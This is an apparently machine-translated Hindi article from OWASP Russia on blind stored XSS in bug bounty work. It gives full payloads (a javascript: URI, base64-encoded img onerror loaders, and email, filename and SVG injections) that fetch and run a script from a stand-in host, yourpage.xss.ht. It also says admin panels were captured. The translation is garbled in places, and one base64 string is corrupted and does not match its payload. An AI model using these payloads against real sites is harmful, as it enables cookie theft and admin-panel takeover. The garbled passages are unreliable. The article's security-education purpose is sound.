अंध सादगी

इस लेख में मैं अंधे XSS के बारे में बात करूंगा - यह काफी सरल है, लेकिन अक्सर वेब अनुप्रयोगों पर बहुत प्रभावी हमला होता है। इस तरह के हमले वैक्टर के संचालन से सॉफ्टवेयर दिग्गज सहित विभिन्न सेवाओं के व्यवस्थापक पैनल की जब्ती होती है।

UPD: लेख से पेलोड का हिस्सा हैब्र एग्रीगेटर्स / पार्सर्स, ऐसी चीजों पर काम किया गया :)

यह कैसे काम करता है?

सबसे पहले, यह ध्यान देने योग्य है कि XSS एक भेद्यता नहीं है, लेकिन वेब सिस्टम पर एक प्रकार का हमला है। इसमें वेब सिस्टम द्वारा जारी किए गए पृष्ठ में दुर्भावनापूर्ण कोड को शामिल करना शामिल है (जो उपयोगकर्ता के कंप्यूटर पर निष्पादित किया जाएगा जब यह पृष्ठ उसके द्वारा खोला जाता है) और हमलावर के वेब सर्वर के साथ इसकी बातचीत। कई प्रकार के XSS हैं: संग्रहीत, प्रतिबिंबित, और DOM। इस लेख में हम केवल संग्रहीत XSS पर विचार करेंगे - वे "के माध्यम से तोड़ने" उद्देश्यों के लिए उपयुक्त हैं।

हमले की योजना इस प्रकार है: हमलावर वेब एप्लिकेशन पर दुर्भावनापूर्ण पेलोड डालता है, कमजोर कोड डेटाबेस में जाता है और प्रोजेक्ट एडमिन पैनल में "शूट" करता है।



अक्सर, पेलोड के ट्रिगर होने से पहले, हमलावर को संदेह नहीं होता है कि वह कहाँ और कब "शूट" करेगा। अपने स्वयं के अनुभव से, मैं कह सकता हूं कि पेलोड संचालन कई सेकंड से लेकर कई महीनों तक हुआ - इस प्रक्रिया को तेज करना बेहद समस्याग्रस्त है।



जहां पेलोड काम करेगा वह भी एक महत्वपूर्ण कारक है। नेत्रहीन XSS के समापन बिंदु को महसूस करना गुरुत्वाकर्षण के विस्थापित केंद्र के साथ गोलियां दागने के समान है। कभी-कभी व्यवस्थापक पैनल XXX.XXX.XXX.XXX/admin_panel/dashboard.php जैसे IP पते पर, प्रबंधित0000.attacked.site या परीक्षण साइट के बाहर के आकर्षक उप-डोमेन पर स्थित होते हैं। या यह हो सकता है, उदाहरण के लिए, एक विश्लेषिकी प्रणाली जो आम तौर पर परीक्षण की गई कंपनी की सीमाओं के बाहर होती है।

endpoints

अपने पेलोड से "रोक" पाने के लिए, हमें अवरोधन के लिए एक बाहरी समापन बिंदु होना चाहिए। ऐसा करने के लिए, आप अपनी सेवा को बढ़ा सकते हैं और इसमें सभी कॉल को रोक सकते हैं, जिसमें शामिल हैं आप के लिए एक स्वीकार्य प्रोग्रामिंग भाषा का उपयोग कर हेडर।



या आप निम्न विकल्पों का उपयोग कर सकते हैं (अपनी पसंद के)।

BurpCollaborator Burp Suite Pro उपयोगकर्ताओं के लिए एक विशेष बाहरी सेवा है:



उदाहरण के लिए सेवाओं,% नाम% बिन का उपयोग करें, अनुरोध :



उदाहरण के लिए, ezXSS का उपयोग करके अपनी स्वयं की सेवा बढ़ाएँ :



या xsshunter (शुरुआती के लिए अनुशंसित) का उपयोग करें - पेलोड उत्पन्न करने और ट्रिगर पेलोड (ईमेल सहित) से "किक" प्राप्त करने के लिए एक सेवा:

Peyloady

इसलिए, हमें साइट पर इनपुट फॉर्म मिला और हम अपने सिद्धांत का परीक्षण करना चाहते हैं कि अंधा इसमें काम करेगा। ऐसा करने के लिए, हमें सुरक्षात्मक उपकरणों को बायपास करने सहित पेलोड तैयार करने की आवश्यकता है।

Xsshunter सेवा नेत्रहीन XSS के संचालन के लिए कई तैयार पेलोड प्रदान करती है:

उरी पेलोड:

javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yourpage.xss.ht\';document.body.appendChild(a)') 

IMG पेलोड:

 "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))> 

पेलोड का एक हिस्सा बेस 64 (dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlWWudCWWicCgic2NyaXB0Iik7bzcmM9Imh0dHBzOi8veWWHUUU2UUUUUUUUU) के लिए बदला गया है।

 var a=document.createElement("script");a.src="https://yourpage.xss.ht";document.body.appendChild(a); 

ई-मेल फ़ील्ड में पेलोड:

 "'--></style></title></textarea></script><script src=https://yourpage.xss.ht>"@test.com test@("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)test.com ("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)@test.com 

रोचक टोटके

अब पेलोड को लागू करने के लिए सबसे दिलचस्प इनपुट रूपों पर विचार करें।
ई-मेल - मान्य कार्यान्वयन उदाहरण ऊपर प्रस्तुत किए गए हैं, चाहे वह वेब एप्लिकेशन के प्रकार पर निर्भर करता है या नहीं।

पासवर्ड फ़ील्ड में - यहां हम यह पता लगा सकते हैं कि क्या वेब एप्लिकेशन पासवर्ड को सादे पाठ में संग्रहीत करता है और यदि व्यवस्थापक ने इसे देखा।

ऑनलाइन हेल्पर्स - कभी-कभी यहां शूटिंग भी होती है।

हेडर में - हम सभी हेडर में पेलोड को प्रतिस्थापित करते हैं जिसे हम नियंत्रित कर सकते हैं: रेफ़र, उपयोगकर्ता एजेंट, आदि।

Svg वैक्टर - * .svg के रूप में छवियों / अवतारों को लोड करने से हमें अपना पेलोड (उदाहरण) लागू करने का अवसर मिल सकता है। एसवीजी में पेलोड शामिल है:

 <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)" 

फ़ाइल अपलोड फ़ील्ड / फ़ाइल नाम - हम नाम के साथ डाउनलोड करने का प्रयास कर सकते हैं:

 "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>.jpg 

अनसब्सक्राइब करें - फ़ील्ड्स को अनसब्सक्राइब करें , "आपकी राय हमारे लिए मायने रखती है", और बहुत कुछ पेलोड को शुरू करने के लिए एक बहुत ही आशाजनक रूप।

सर्वेक्षण - फ़ील्ड "अन्य / आपका उत्तर विकल्प"।

पकड़

इस हमले का दोहन करके, आप नियंत्रण कक्ष (अपर्याप्त सुरक्षा सेटिंग्स के साथ), स्क्रीनशॉट, डोम संरचना, व्यवस्थापक आईपी पते, कुकीज़, आदि का उपयोग कर सकते हैं।



यह हमला आपको समर्थन प्रणाली, व्यवस्थापक पैनल और बहुत कुछ तक पहुंचने की अनुमति देता है। बग बाउंटी कार्यक्रमों में भाग लेने के दौरान, कुछ दिलचस्प स्क्रीनशॉट जमा हुए हैं जो इस तरह के हमलों के दौरान प्राप्त किए गए थे:



ऑनलाइन कैसीनो :



Auto.ru ( johndoe1492 ):



Microsoft ( johndoe1492 ):



दुनिया भर में 150,000 कंपनियों द्वारा उपयोग की जाने वाली प्रणाली :



बहुत सारे ऐसे स्क्रीनशॉट हैं - इससे पता चलता है कि डेवलपर्स को न केवल वेब एप्लिकेशन की विंडो पर विशेष ध्यान देना चाहिए, बल्कि इसके प्रशासनिक हिस्से पर भी ध्यान देना चाहिए।

UPD: लेख से पेलोड का हिस्सा हैब्र एग्रीगेटर्स / पार्सर्स, ऐसी चीजों पर काम किया गया :)

---

यह लेख OWASP परियोजना के हिस्से के रूप में तैयार किया गया था।
ओडब्ल्यूएएसपी रूस अध्याय: ओडब्ल्यूएएसपी रूस
OWASP रूस चैट: https://t.me/OWASP_Russia
OWASP रूस चैनल: https://t.me/OWASP_RU